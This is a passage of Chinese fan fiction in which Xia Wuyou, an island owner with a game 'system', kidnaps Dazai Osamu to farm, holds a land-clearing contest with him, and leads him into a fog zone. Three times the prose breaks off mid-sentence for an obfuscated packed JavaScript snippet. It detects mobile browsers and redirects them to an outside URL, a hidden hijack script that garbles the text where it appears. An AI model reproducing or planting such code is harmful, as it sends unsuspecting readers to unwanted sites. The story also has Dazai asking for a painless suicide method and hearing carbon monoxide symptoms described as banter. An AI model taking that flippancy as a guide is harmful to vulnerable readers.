太宰治按住夏无忧的手,“好理直气壮哇,这是凶手君的从容?” 夏无忧捂住太宰治的嘴,“你话好多,难道是因为不想种地,所以故意拖延时间?” 他接住再次被太宰治甩掉的毛巾,“没用的,我都绑架你了,肯定会让你耕地的!” 太宰治不解,“种地的魅力就那么大?” 他凑到夏无忧脸边,举起手,很是憧憬地报名。 “种地需要肥料吧,无忧君可以帮我想出无痛自杀的办法哦,我自愿当肥料。” 夏无忧趁机把毛巾按在太宰治的头上,在人头上胡乱地揉擦,“可以,但地要先种了才能肥料,治要帮忙。” 太宰治避了避,“说话算数?” 夏无忧微笑,“凶手的承诺你听听就好。” 8. 睡梦 太宰治确定了,夏无忧是真的很想种地。 对于能吸引到夏无忧的事,他的确要去看看,心中如此,但他面上表现出来的截然不同。 他像是受不了打击般捂住额头,浮夸地往前栽。 夏无忧没躲开,一个大活人的重量压过来,他身形一晃,用手扶住太宰治的肩,近距离欣赏到太宰治的表演。 太宰治忧郁地抹了下眼角,一副摇摇欲坠的样子,“怎么办,章鱼先生,我是不是要死了?” 这又是什么新称呼? 夏无忧觉得太宰治的比喻一直很可以。 没等他说什么,太宰治喋喋不休的话就和面团一样膨胀着糊了过来。 “好晕,我一定是死于窒息,不,是死于水里的巨毒,果然章鱼是有毒的,为了麻痹我,特意在水里下毒!现在毒发作了?怎么办,如果死在这,死前最后看到的是只章鱼,这也太不美好了。” 夏无忧深吸口气,怀疑太宰治偷吃了森林里的毒蘑菇。 他选中背包的蟹肉寿司。 寿司一小块,珍珠米晶莹糯软,被海苔包着,铺满了从海蟹里剔出的粉白蟹肉,还用圆润饱满的鱼子点缀了一二。 盒中每块寿司上都插着根细长竹签。 夏无忧拿起一个塞到太宰治嘴里 太宰治的唇瓣碰到寿司,他下意识嚼了下,觉得味道不错,就着夏无忧的手吃掉了。或许是因为好吃,或许是因为报复到了人,他好心情地眯起眼。 吃完一块他看向夏无忧。 夏无忧又喂了块,喂了一块又一块,严格地分完了半盒寿司。 在太宰治还往寿司盒靠时,他用手推开太宰治的脸,“去擦头。” 太宰治将手臂搭在夏无忧的肩上,一副没骨头的样子,“不要,好麻烦,反正也死不掉。” 夏无忧抬了下肩,拖着树袋熊一样挂着的太宰治挪动,把人带去壁炉前的沙发上,顺口道。 “也不一定。” “嗯?” 夏无忧认真地提出意见,“你去沙发,我把通风关掉,你可以死于一氧化碳中毒了。” 太宰治兴致勃勃问:“会很痛苦吗?” 他说话时,湿漉漉的头发擦过了夏无忧的脖子,夏无忧有点痒,将那一绺头发抹开。 夏无忧回想了下读过的案例,肯定道:“非常痛苦,头疼啊,恶心啊是轻度症状,你会无法呼吸,四肢和深海的海藻一样抽搐。” 太宰治失望极了。 他被放在沙发上,整个人如软趴趴的海带叶般趴在上面,没了动静。 夏无忧拿过毛巾,按在太宰治后脑勺上,用掌根推着揉来揉去,拭去头发上的水滴。 壁炉中的果木燃烧着,焚烧殆尽的熏木气息扩散开。 沙发上的太宰治没有闭上眼,他眼睫垂着,眼里没有焦点,他盯住自己的影子,盯久了,黑影离他越来越近,狰狞舞动着放大。 在黑影要将他吞没时,额头处传来温热的触感。 太宰治小幅度地抬起头,见到了用手试探他额头温度的夏无忧,夏无忧的神色里参杂着一点疑惑,声音似乎很遥远。 “发烧了吗?” 太宰治立刻得知,夏无忧并不了解这个岛屿。 夏无忧知道岛屿上的人不会死亡,但不确定岛上的人会不会受伤、生病、中毒。 也是,夏无忧从先代首领的房间兀然冒出来,从离开到现在,中间并没过去多久。 可这样牵扯出的问题更多了。 岛屿为何出现,夏无忧来自哪里,他为何而来,为什么是这样的古怪态度? 问题太多,在脑中徘徊时嘈杂如雨,没有起点,没有秩序。 太宰治觉得自己手上的拼图是不全的,缺失碎片散落的地方,大概率藏着超越已知异能力体系,涉及到世界本质的东西。 人不该也无法踏入那里。 太宰治唯一能看清的是夏无忧,可当他深入迷雾,他却连自己都看不懂了。 他想还是自己还是别管了,没有意义,不论夏无忧想要的是什么东西,夏无忧都不会成功的。 因为他本就什么都也没有。 累赘的东西落在他身上,要么自己逃走,要么被他丢开。 在太宰治要闭上眼睛前,他被拉了起来,夏无忧就在眼前,对方的眼里褪去了往日笑意,留存的不是太宰治以为的虚妄的雾,而是一片无风的碧潭。 如同夏无忧在意他。 不为了什么,只是为了这个叫太宰治的人。 太宰治在这种注视下无所遁形。 他如稚鸟,还没凄惨地摔在悬崖之下,就被春日里和煦的风托住。 他想要说什么,而夏无忧的手覆了过来,盖在他的眼睛上,对方手心的温度和壁炉的火光一并落下,意识逐渐坠落其中。 倏然,太宰治从恍惚的状态中惊醒。 这里不是什么该入睡的地方,他身边的是未知的敌人,所处的环境表面温馨,但本质为扭曲常理的产物。 如同什么在此世的投影,望见者将被吞没。 ……和夏无忧本人一样。 太宰治抵抗的意志从漆黑的脑海里升起,仿佛片片微光的流萤。 流萤还未形成势,夏无忧的手指就插入了他的发缝,不轻不重地按揉着头上穴道。暖光与壁炉,白噪音和清淡的香气,一切都营造出温水般的沼泽,将太宰治囫囵吞了下去。 意识中的萤光全部熄灭,太宰治再次坠向梦境。 睡梦中他的眉心有一道细小的褶皱,好像是在气恼什么,在和什么怄气,也像是在迷茫,为看不清的前路。 夏无忧按揉的动作停下,他仔细看了会太宰治的表情,确定人睡过去了,才起身把另一处沙发上的毯子拿过来,盖在太宰治身上。 此刻,他的眼前悬浮着一个信息界面。 【岛民信息-太宰治 状态:受伤初愈,重度疲惫】 【状态更新——】 【岛民信息-太宰治 状态:浅眠,随时都可能醒来,有概率做噩梦】 夏无忧严肃地和系统掰扯。 [他睡觉了,我也要睡觉!你看到他状态了吗,这个状态我怎么打扰他睡觉,我要去现实洗澡睡觉!] 刚刚系统才告诉他,岛民有状态栏,在组队状态可以看到。 夏无忧不怎么熟练地把太宰治编入战斗队伍,点开太宰治的信息,发现太宰治的状态是重度疲惫。 轻度疲惫会让人困倦,中度疲惫会让人沾床就睡,从早睡到晚。 重度疲惫是长期睡眠质量不佳,一睡可能要睡上整日整夜,这种状态的太宰治居然还能和他聊天,也是难为他了。 夏无忧看到了就头疼起来,好在,他的兄长就是长期失眠患者,他小时候学过按摩。 把太宰治哄睡着了,夏无忧把毯子拉好,同系统争取自己的基本权利。 [你想我当杀手,但哪有全天打工的杀手?!不睡觉我的精神就不好,我精神不好效率就低。] 系统:【我消除了您的疲惫值。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698118|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 夏无忧锐利指出:[管家你的人类学根本没学好,对人类来说,身体上的疲惫可以消除,灵魂的疲惫消除不了!] 【可是我根据我的调查,人类都希望把时间掰成两半用,把睡眠时间利用起来不好吗?】 夏无忧无语:[到底哪里好了,不睡觉对人类来说是折磨,看看太宰治,他都困成什么样了!] 【岛主,那是因为他此前很长一段时间没睡觉,他为森鸥外提供证词,经过数场激烈的刺杀和袭击,受了伤才会如此疲惫。】 言下之意,夏无忧现在的状态不够疲惫。 夏无忧继续理论。 [你要这样说,我还穿越了一个维度,差点被人推出去顶罪,构造了一个岛屿,好不容易松懈下来,又被你拉到游戏,探索了半天森林。我现在处于身体和精神的双重的疲惫中。] 他不但指出系统不合理的地方,还给出了修改意见。 [系统,你完全可以让我自己控制游戏时间,在我玩游戏的时候,把我的身体保护好就行。] 系统换了个角度劝说。 【但这样您和太宰治先生的时间会错开。太宰治先生不是原本的岛民,是我为您召唤的特殊岛民。在您抽中他的时候,他刚走出医疗室。】 夏无忧感兴趣地追问:[那他在现实里的身体是什么状态。] 【昏睡。】 [这里发生的事对他有什么影响吗?] 【游戏和现实里的状态是同步的,现实里他身上的伤口全部愈合了。】 夏无忧:[那森鸥外有的忙了。] 太宰治昏迷,森鸥外要一边忌惮未知的异能力者,一边承受多方的质疑。 他选中太宰治为见证者,若是短时间内见证者出事,他就更来路不正了。 不过这对森鸥外来说也不完全是坏事,他大可宣布Mafia被人盯上了,现在是一致对外的时候,也能说他为太宰治请来宝贵的治疗异能力者,副作用是昏睡。 系统并不在乎这个世界的人,它再次劝说。 【您可以用晚上的时间打游戏,这样太宰治先生也不会浪费睡眠时间。】 夏无忧哼笑了下:[管家,森鸥外要当横滨黑夜的保护者,你知道这代表什么吗?] 系统:【什么?】 [代表黑手党白天要工作,晚上也要工作,他们要全天待命,哪来什么稳定的睡眠时间。] 系统是程序,它追求逻辑性,习惯一一列出优缺点。 有时它的话带着天然的残酷性。 【这不好吗?】 【您爱护他,您召唤了他,只要游戏时间固定,他可以分配好自己的工作时间。若是白日他受伤,还可以在游戏中得到治疗,同时得到充足的睡眠。】 夏无忧摇摇头,看了眼埋在沙发里睡觉的太宰治。 [可这对他来说是无妄之灾吧。] 系统:【为什么?】 夏无忧:[比起身体的不自由,灵魂的不自由更悲哀。] [当然,我也怕若是他知道有人可以帮忙治疗,他能更愉快地尝试自杀了。管家,我哪有那么多药膏,我赚点积分也不容易啊!] 【如果您是……】 夏无忧打断了系统接下来的话,直接无理取闹。 [我不管,我要当正常人,熬夜是我的事,睡眠自由是基本的人权,长时间不睡觉会让我暴躁压抑,会导致很可怕的后果!] 系统犹豫再三,还是妥协了。 【那么……如您所愿。】 9. 开荒 往日太宰治的睡眠很浅,但这次他睡了很久。 睁开眼后,他迅速清醒过来,见到像素风的天花板后,他在沙发上转头,见到了远处床上的人影。 太宰治拉开了身上的毯子,睡眠驱散了身体和精神上的疲惫,头发和绷带都被壁炉的温度烘干。 房间静到只有清浅的呼吸。 他走下沙发,行走时几乎没有声音,昨夜的记忆回笼,他有点不想承认那是自己。 路过桌子时,他顺手拿走了餐刀。 太宰治站停在床头前,投下的阴影笼住了睡眠中的人。 他观察夏无忧的呼吸频率和肌肉状态,得出对方睡得很踏实的结论,他觉得有意思,只有蠢人才会如此信任一个黑手党。 仿佛他们初遇场景的复刻,森鸥外用手术刀杀死了先代首领,他同样可以用把餐刀杀死夏无忧。 他这样想,也的确将餐刀抵在夏无忧的脖子上。 刀刃与皮肤隔着微小的距离,太宰治转动手腕,丈量着皮肤下不同的血管,能想象到切割开血管,血液会呈现出何种的喷溅状态。 在冰冷的餐刀触碰到皮肤前,他没再更进一步。 太宰治冷冷道:“行了,别装了,这么大的动作,你怎么也该醒来了。” 夏无忧睁开眼,将手指放在餐刀上,把玩般抚过,“我觉得餐刀应该用来切割食物,你觉得呢?” 太宰治:“什么时候醒来的?” 夏无忧的目光从餐刀划到太宰治鸢色的眼里。 “你拿刀的那一刻。” 太宰治没有放开餐刀,而是用刀尖挑起夏无忧的下颚,“餐刀用来切章鱼,这不是很对吗?” 夏无忧用手背轻轻拍开刀柄,从床上坐起,越过太宰治,从盒中拿起自己的发带,束了个干净利落的马尾,活力满满地准备干活。 昨夜他和系统的协商成果为:他可以随时进入游戏世界,也可以自主安排召唤太宰治的时间。 协商完后,他立刻把太宰治留在游戏里,让系统看住太宰治,预防太宰治假睡,在他离开后搞事。 他在现实里洗完澡,回到游戏再安详入睡。 今天算是他正式进入种田小游戏的第一天,夏无忧精力充沛,已经给自己列出了长长的计划。 他走到床柜处,这里挂着两套衣服,是之前抽到的[全套换洗衣物]。 在他要换上新衣服的时候,太宰治开口了。 “你要我把我留在这里多久?” 夏无忧装模作样想了下,转向太宰治顽劣地笑起,“这位受害者先生,请你认清自己被绑架的事实,哪有不拿赎金就放人的好心肠凶手。” 太宰治没怎么当真,虽然接触的时间不长,但他的确对夏无忧有了一定的了解。 这个事实让他不满又郁闷,他问出夏无忧想要他问的问题。 “那赎金是什么呢?” 夏无忧把背包里的镐子丢给太宰治,“当然是开荒!你表现好了我就暂时放你回去。” 太宰治抱怨:“诶——这不是完全的压榨吗,都没有工资,还只是暂时放我回去,哪有受害者会乖乖工作的。” 夏无忧可怜兮兮道:“治,我的情况你也知道,我付不起工资啊。” 太宰治从心地说:“好恶心的表情。” 夏无忧更快乐了,“看到你早上这么有精神,我就放心了。” 他当然知道太宰治不会好好工作,但谁让他目前只有太宰治一个岛民,开荒固然有趣,但可以更加有趣。 作为一位有追求的新上任岛主,岛上百废待兴,他需要携带一位赏心悦目的自动搞事精,这才是自讨苦吃、苦中作乐的生活啊。 太宰治掂量了下镐子,虽然镐头是铁的,但是没什么重量。 他还没捂热镐柄,夏无忧就大步走过来,收走了他手上的餐刀和镐子,再风风火火地推开门,准备离开。 门外的阳光照入屋内,太宰治用手挡了下刺眼的光,手背碰到了遮住眼的绷带。他想着该换一次绷带了,不过他都被绑架到这里了,不应该由夏无忧承担这部分的损耗吗。 他慢吞吞向前走,碰了下衣柜挂着的衣服。 衣服自动套在像素小人的身体上。 太宰治还没走到门口,夏无忧又风风火火回来,打开净水器,灌了几大杯沁凉的可饮用山泉水。 夏无忧把水杯放到背包里,松了口气,这次是确定东西都带上了。 太宰治没错过这个细节,嘲道:“你是要春游野餐的小朋友吗?东西丢丢拉拉的。” 夏无忧回头,“是啊,治需要我给你做个捕虫网抓蝴蝶吗?” 太宰治:“我是在说你。” 夏无忧:“所以你要吗?” 太宰治失去和夏无忧说话的心情,率先踏出木屋,夏无忧紧随其后。 屋外蓝天白云,阳光灿烂。 换好衣服的两个小人踏出门,夏无忧小人穿着出游一样的兜帽卫衣,头上帽子绣着小黄鸭。 太宰小人穿着同款青春阳光的衣服,无袖背心,外套半挂在臂弯,脸上贴着小章鱼卡通图案的创可贴。 两人站在一起,谁准备认真种地,谁准备在树荫下躲懒,一目了然。 太宰治扯了扯身上的外套,很是嫌弃,“为什么衣服是这个款式,真够幼稚的。” 夏无忧就当没听到,他的心情和天气一样明媚。 木屋外有大片稀疏的森林,再往外是杂草旺盛的荒地,他跃上一块岩石,手放在额头眺望,见到了远方的海平行线。 阳光正好,岸边的海水散射较多,颜色从青到蓝,从靛到紫,好似块切开的紫罗兰玉石。 他跳下岩石,拿出背包里的斧头,找准方向奔到森林。 森林古木参天,夏无忧找了棵树,深吸口气,拿出斧头用力一劈。 太宰治跟在他身边,挖苦道:“你这样劈一棵树,从日升到日落也劈不了几棵。” 夏无忧不为所动,他又砍了几下,在太宰治逐渐不理解的目光中,树木往后倒下,落地就成了方方正正的木材、树叶堆,还有非常不合常理的苹果。 太宰治:? 夏无忧宽慰道:“没事的,太宰,你不知道很正常。” 太宰治恼羞成怒,“明明奇怪的是你,还有这个岛!” 他不理解,于是从夏无忧手里抢走了斧头,走到另一棵树前,试探着挥动劈了下。 斧头在坚硬的树干上只划出极浅的痕迹,他仿照夏无忧的动作,劈砍了一会。到最后一下前,树干上的砍痕只深了一点,但砍到最后一下后,树干出现平滑的横截面,合抱粗的树落地成木材了,这次里面没有苹果。 太宰小人瞪大了眼,看了又看斧头和木材。 边上的夏无忧踱步过来,手里抓着一枚红彤彤的苹果,他用背包里的水清洗了下手和苹果,把苹果放在嘴里咔擦咔擦嚼。 太宰治越过刚刚砍的树,往下一棵树走过去。 等夏无忧快啃完了苹果,他已经跟在太宰治身后收了几组木材。 太宰治停下动作,定定看向夏无忧,把斧头塞到夏无忧怀里,“你自己砍。” 夏无忧点点头,变魔术一样拿出个小兔子苹果块,是他刚才跟在太宰治身后用餐刀削的。 太宰治打量了会,抓着夏无忧的手腕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698119|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充满探究精神地吃掉了这块苹果。 苹果多汁甘甜,清润爽口。 他缓慢地咀嚼着,想尝出苹果的产地。 不同维度,不同光照,不同土壤,不同品种的苹果都会有口味上的差异,但他吃下的苹果不同于他知道的任何一种。 夏无忧一直盯着太宰治,见到了自己想看的表情,他颇为愉悦地勾起唇角,“都说了,治,开荒很好玩的。” 这里是游戏,游戏的存在是为了取悦玩家。 游戏里的常理也是为了服务玩家而存在的。 夏无忧再接再厉,“要不要来比赛?” “比什么?”太宰治松开抓住夏无忧手腕的手。 夏无忧和系统申请了岛民配套工具,扒皮系统告诉他,给岛民升级和开通背包都是要积分的。 他和系统讨价还价半天,系统只答应了给岛民一套基础工具。 夏无忧晃了下袖子,背包里的几个工具都掉了出来。 他捡起地上的树枝,蹲下来,在地上分出一条线,再用树枝在线左边划出一个箭头,“这片区域归你。” 他在右边又划出一个箭头,“这边区域归我。” 夏无忧站起,斑驳的光影自他的帽子上掠过,他眉眼弯弯,周身也明亮了起来。 “我们比谁清理出的空地大。” 太宰治瞥了眼地上的线,“什么嘛,完全的体力活,谁要给你清理岛屿。” 夏无忧挥舞了几下手中的树枝,“真的不比吗?” 他的语气很是平淡,没什么嘲讽的成分,效果却堪比激将法。 太宰治发出道气音,抬脚踩在夏无忧划出的线上,略仰着下颚,与夏无忧隐隐对峙。 他伸出一根手指朝下,指着地上线道。 “比。” 夏无忧丢开树枝,拍了拍手,“要不要加上赢家的要求?” 太宰治与之对望,面带笑意,“当然,先说你的要求?” 夏无忧笑着朝太宰治方向踏出一步,眉梢染上锋芒,“好耍赖,先提出条件的人很亏吧。” 比如夏无忧说赢了要一个苹果,后提出条件的太宰治可以说要整个苹果园。 先说出要求的人肯定会被揣测出意图,再被后者约束。 太宰治也上前了一步,他外套上的银饰微微摇晃,脸上同样带着咄咄逼人的攻击性,嘴边勾起没有温度的笑。 “是无忧先提出比赛的,当然也要你先说条件。” 夏无忧敛眉,再挑起眼尾的时候,他的眼眸从黑转明,如黎明在云层后透出的光彩。 他指出,“你是知道我可以否决你的条件的吧,不过,”他身体前倾,几乎与太宰治呼吸交错,“我接受。” 风从林间穿堂而过,夏无忧正好踩在用树枝划出的线上,他鬓边的发丝被吹起,从太宰治肩上飘过。 “如果我赢了——” 在太宰治认真的注视中,他从背包里取出一把缤纷的野花,笑容若朝阳,“你就带走这一束花,到它枯萎的时候再带给我。” 太宰治的表情淡了一瞬,他迟疑地伸出手碰了下花,又缩了回去。 “无忧君,别以为提出简单的条件我就会让步哦。” 夏无忧轻笑,收回了花束,“那么,你的条件。” 太宰治冷淡的目光落在夏无忧的手上,忽然感觉刚刚触碰到花的指尖也染了一点花香。 他低头看自己的手指,语调没什么起伏。 “一个问题,你可以不回答,但不可以说假话。” 夏无忧往后退了一步,退到他划出的线后,语气轻快地应下。 “成交。” 10. 比赛 比赛定下,两人之间隔着条线。 夏无忧从背包取出黄铜钟摆,为太宰治介绍,“这个钟会在正午十二点弹出只小黄鸭,小黄鸭出来之时比赛结束,没问题吧。” 太宰治的表情一言难尽,他举起手,“提问,为什么里面是只小黄鸭?” 钟摆的外观是复古的艺术品,哪怕是像素风,也能看出精巧,造型独特古典,镂空的花纹栩栩如生。 夏无忧理所当然道:“本来里面是只夜莺,还会唱歌,但我觉得不如鸭子叫提神。” 太宰治放下手,将手臂上的绷带理好,他似乎想到了什么,兴致不错地附和。 “是呢。” 夏无忧狐疑地上下打量太宰治,“治,你知道黄鼠狼什么时候特别开心吗?” 太宰治想都没想说:“掉河淹死前。” 夏无忧摇头,“不,是它给鸡拜年前。” 太宰治的眉尾如同被系上石头,悠悠沉入了河底,“无忧的意思是,我没安好心吗?” 夏无忧将钟摆放在地上,站起来后双手手指交叉,掌心向外拉伸,做了个简易的热身。 他望向太宰治:“那到底是不是呢?” 太宰治浅笑回望:“我也想知道。” 夏无忧的目光掠过太宰治,侧转头部,倾听了会树叶的哗哗声,在某一个节点,他回首注视着太宰治,报出倒计时:“3。” 太宰治弯腰拿起斧头,接上,“2。” 当钟摆的指针过一次整点的时候,会有道细微的咔嚓声。 钟摆的“咔嚓”声响起之时,两人同时念出了倒计时: “1。” 比赛正式开始。 夏无忧没有丝毫犹豫,向着自己的区域奔跑,跑动中,他身后一直有紧随的脚步声。 如影随形的追逐本来该很恐怖,但在游戏中,他只能听到啪嗒啪嗒的小人走动音效。 夏无忧的内心平静到没有一丝波澜。 他跑到最近的一棵树,绕到树干后,盯住不待在自己区域,而是来他地盘晃悠的太宰治。 夏无忧:“我想,你认得路的吧。” 太宰治拎着斧头,弯起眼,脸边飞出闪亮的星星,被提醒到般讶然,“原来我迷路了吗?” 他一边这样说,一边逼近树后的夏无忧。 太宰治:“既然迷路了,这位好心的先生可以为我指路吗?” 夏无忧躲在树后,盯向太宰治的手。 “要不你放下斧头说话。” 太宰治低头看了眼自己手上的斧头,“你不说,我都忘记自己手上有斧头呢。” 夏无忧:“听我句劝,在森林里不能相信陌生人。” 太宰治捂住嘴,很是害怕的样子,“什么,难道你是报纸里提到过的,欺骗路人再把他们吃掉的怪物吗?” 夏无忧沉默地看着太宰治一边说怕,一边愉悦地加快步伐。 他顿了会说:“我看的版本和你不同,据说很多杀人犯都是伪装成迷路的人,将人骗走后残忍杀害。” 太宰治的神情依旧不变,“那不巧,两家报纸社可能是对家吧。” 夏无忧真挚道:“报纸不可尽信,也不可能全然不信,要不我们保持一点距离?” 太宰治没有回话,而是扬起手,重重往下一劈,斧头深深钉入夏无忧躲着的树干里,树叶簌簌落下,有几枚掉到了夏无忧的兜帽里。 夏无忧缩回树后:“太过分了,你砍树的时候轻轻一砍,追杀我的时候用上全力,难道我的身板比树还硬吗!” 太宰治还是一副无辜的样子,“我才拿到斧头,不熟练发力不是很正常吗?” 他去抓夏无忧,“要不陪我多练习下?” 夏无忧躲开太宰治,“如果不熟手上工具,贸然使用是会受伤的,所以还是放下斧头吧。” 太宰治握住了斧柄的末端,拔出了钉在树干中的斧头。 他的笑容越发灿烂,“那不是很好吗,要是我受伤了,伤口严重到发炎死掉,我会感谢好人先生的。” 夏无忧趁机伸手,拍了拍树干上的裂痕。 “在你死掉前,我可能先被谋杀了。” 太宰治又逮了下夏无忧,没逮住,他将掌心贴在粗粝的树干上,再曲起指节敲了敲,换了副甜腻的腔调。 “好人先生,好人先生~你在吗,为什么不愿出来?听说你被谋杀了,我好伤心,我可以来看看你吗?” 夏无忧在树干后幽幽道:“你不来,我就好了。” 太宰治往左,他就往左,太宰治往右,他也往右。 两人围绕着一棵转起了圈。 太宰治将斧头放在身后,眨了下眼,“逗你的,我不追了。” 夏无忧从树后伸出拇指,当即应和:“好,那我也不躲了。” 太宰治:“你先出来。” 夏无忧:“你先离开。” 太宰治撕开伪装,露出捕捉猎物一样的恶劣表情,“选择困难的话,就别选了。”他举起斧头就向夏无忧攻击。 夏无忧同样迅速地转身,跑向下一个掩体,跑的时候还不忘指责。 “治,原来你的取胜办法就是淘汰我吗?” 太宰治紧紧追在后面,“我不是给过你提示了吗?” 夏无忧无语,从背包拿出枚石子一丢,“所以你踩在我划的线上,是在暗示我你不会按规矩来?” “嗯嗯!”太宰治躲开石子,“难道你没有预料到吗?” 夏无忧扒开前方的杂草,“我以为你至少会装一下。” 太宰治瞄准方向,丢出斧头。 “要是事事都如你所料,岂不是非常无趣。” 夏无忧被脚下的凸出泥土的树根绊了下,他往边上避,肩膀撞到树干,斧头钉入他脸边的树干中。 太宰治闲庭信步,手撑在夏无忧脸边,极具报复心地嘲讽。 “只有这点本事吗?” 两人一追一跑,已经进入了森林深处,再深入些,就要到达未开放的迷雾区了。 夏无忧叹气。 “我都把衔接迷雾区的地方划给自己了,你还是追来了。” 太宰治将斧头斜向下抽出,斧头在他手中转了一圈,被扛到了肩上,他望向树后的迷雾。 “因为探究这个岛屿的本质,才算是有挑战的游戏。” 夏无忧双手往后,抓住自己的兜帽翻开,把里面的叶子抖落出来,“不止如此,你就是想和我对着干。” 他想安稳种地,太宰治就要往危险的地方跑。 一个往东,一个绝对要往西。 太宰治是什么时候发现迷雾的不对呢?或许是第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698120|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一晚,毕竟他是在湖边被召唤,湖的对岸就是雾区。 太宰治唇角微扬,“这是比赛。” 针锋相对再正常不过。 他似是把握住了夏无忧的纵容,学会光明正大提出要求,“你会为我展示这里的真实吗?” 夏无忧倚靠着树干,像是在为太宰治的安全考虑。 “迷雾区很危险,里面有可怕的怪物,我们没有战斗力,进去就要被怪物撕碎。” 太宰治笑了下,手指点在夏无忧的唇角。 “可是你看起来比我还期待。” 他的手指陷入温柔的皮肤,牵动一点脸上的肉,晨光透过层层树叶,经过他的手背,游曳到夏无忧脸颊上。 风抱着树干摇晃,鸟雀在树枝上哗然啁啾。 夏无忧如同一道黄昏之锁,他的前方是阳光照拂的森林,后方是晦暗黏稠的雾区。 而夏无忧本人是危险而无解的谜。 太宰治望入夏无忧的眼眸,仿佛是潮湿梅雨季中盛开的无尽夏,于雨雾里浓烈被抹去后的色彩。 夏无忧笑着,眼里涌动的不是犹豫、恐惧,而是兴奋、欢欣。 他明明比谁都期待,期待步入骤雨不息的夜晚,那里有狂风雷鸣,盘桓陨落的飞鸟,有潮起潮落的命运。 “疯子。” 谁人的呢喃散入空气。 在太宰治要收回手的时候,夏无忧攥住了他的手,“那么我们走吧!” 太宰治被拉得一个趔趄,他看着夏无忧向雾气跑去,抽出了斧头,跑动中劈开前方的杂草和灌木。 障碍被清除,他走在坦荡的路上,前方迎接他的是迷途。 太宰治吐出口浊气,“看来你早有预备。” 夏无忧顺手把植株上的果子收到背包里,“我不是也暗示你了吗?” 太宰治这才想到,先是他踏过了夏无忧划出的线,之后夏无忧一步步走向他,最终停在那条线上。 太宰治的目光从与交握的手,沿着夏无忧手臂往上,落到对方的耳垂处。 “果然,是因为提前知道会这样,所以才提出那样的赢家要求吗?” 不索取,单要送他一束花。 “不。” 夏无忧回首,他的眼眸恰好处于太宰治视线的中心,“我的确想将花送给你。” 迷雾离他们越来越近,夏无忧处理起越来越稀疏的草丛,“就如你所说的,要是事事都如我所料,那也太无趣了。我喜欢随心而为,但为可能性最高的发展做好准备。” 太宰治垂下眼,“你很了解我。” “没人能了解一个人。” 夏无忧的声音与林间的风交缠在一起,被推入太宰治的世界。 “你是一本书,我偶然阅读了与你有关的一页,但也只是一页。往后的你,与我有关的你,要我亲自去见证。” 复杂的情绪在太宰治心中涌动,在进入雾气的前一刻,他问。 “这是解释吗?” 解释你的出现,解释你为什么了解我。 解释你是为我而来。 夏无忧的笑声穿过雾气而来。 “不,这是承诺” 他们的手分开,如同书被撕成两半,一半被海水浸透,一半被太阳焚烧。 【叮——检测到宿主进入未开放区。】 11. 驯服 【当前战斗队伍:夏无忧(0.lvl)、太宰治(1.lvl)】 【检测到队伍整体等级过低,开启战斗指导,发放首次战斗装备。】 一道金色的流光投入迷雾入口的两人像素小人体内。 流光先落到夏无忧额心,他等了好一会,费解地看着眼前的光点。 后一道流光太宰治身上,太宰治展开手,环形的字符往外扩散,气流扬起他乌色柔软的头发。 片片水泽的涟漪荡开,凝聚为一把枪。 雾气区域昏暗,唯有夏无忧身边漂浮的光点发着光,太宰治的影子被拉得很长,如坟地的尖刺,将待处刑的罪人悬挂。 他握住枪,眼眸隐藏在雾气后,气质变得阴沉危险。 在夏无忧看过时,他举起枪,嘴角吝啬地牵起一点冰冷的弧度,将枪口对准夏无忧。 夏无忧瞪大眼,刚要说什么。 砰—— 一道枪响驱散了雾气。 子弹在夏无忧眼中放大,世界被按下慢倍速,他屏住呼吸,似乎想了许多东西,也像是什么都没想。 他听到破风声,还有血肉的搅动声。 有什么倒伏到了地面,灰色的能量子弹从他脸边擦过,击中了他后方的怪物。 而现实里只是过去瞬息,失踪许久的系统上线,它才调试完战斗系统,回来就看到自家宿主沉痛的神色。 【您怎么了?】 夏无忧抹了把脸:[没什么,就是我上一会还在哄人,转眼哄的人给了我一枪。] 【您身上没有伤。】 [因为他在我心上开了枪。] 【我搜索过了,这是人类形容描述心动的比喻句。】 夏无忧:[不同语境,用法不同,此刻在我这是伤心的意思。] 【已为您收录。】 和系统扯了几句话,夏无忧再次振作了起来,他看着太宰治走过来,对方观察了会,恶劣笑起,抬起持枪的手。 额头上传来冰冷坚硬的触感,太宰治在问。 “吓到了?” 夏无忧抓向太宰治垂在身侧的手,被躲了下,他追过去握住,不由分说地将之放在自己心口上。 “要不你听听看?” 太宰治的语气让人听不出情绪,“看来是吓到了。” 夏无忧的眉心舒展开,他神采飞扬地问:“为什么不能是心动呢?” 太宰治哂笑,没有放下枪,而是将手从夏无忧的抓握中抽离。 